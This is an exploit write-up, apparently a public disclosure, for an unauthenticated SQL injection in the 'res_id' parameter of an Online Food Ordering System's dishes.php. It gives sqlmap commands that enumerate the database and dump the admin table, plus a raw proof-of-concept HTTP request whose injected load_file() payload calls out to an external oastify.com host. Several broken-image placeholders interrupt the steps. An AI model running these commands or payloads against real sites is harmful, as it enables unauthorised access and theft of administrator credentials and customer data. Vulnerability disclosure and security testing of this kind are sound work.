Online Food Ordering System Unauthenticated Sql Injection

Exploit Date: 7/25/2022
Exploit Author: Leu Xuan Hieu

Exploit

Injection Point => /dishes.php?res_id=
Image Not Showing Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Used Burp Suite capture request then save as food.txt


 python3 sqlmap.py -r food.txt -batch -current-db

Image Not Showing Possible Reasons

The image file may be corrupted
The server hosting the image is unavailable
The image path is incorrect
The image format is not supported

Learn More →


python3 sqlmap.py -r food.txt -batch -D onlinefoodphp -tables

Image Not Showing Possible Reasons

The image file may be corrupted
The server hosting the image is unavailable
The image path is incorrect
The image format is not supported

Learn More →


python3 sqlmap.py -r food.txt -batch -columns -D onlinefoodphp -T admin -dump

Image Not Showing Possible Reasons

The image file may be corrupted
The server hosting the image is unavailable
The image path is incorrect
The image format is not supported

Learn More →

POC

Request












GET /OnlineFood/dishes.php?res_id=4'%2b(select%20load_file('%5c%5c%5c%5c1ik2qvhgl8xqcydf43rujd4j6ac302otrhi48sx.oastify.com%5c%5cztc'))%2b' HTTP/1.1
Host: 192.168.1.101:8888
Cookie: PHPSESSID=311teftqpf9mla9pmac7o6sfq7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.101:8888/OnlineFood/
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Connection: close
Cache-Control: max-age=0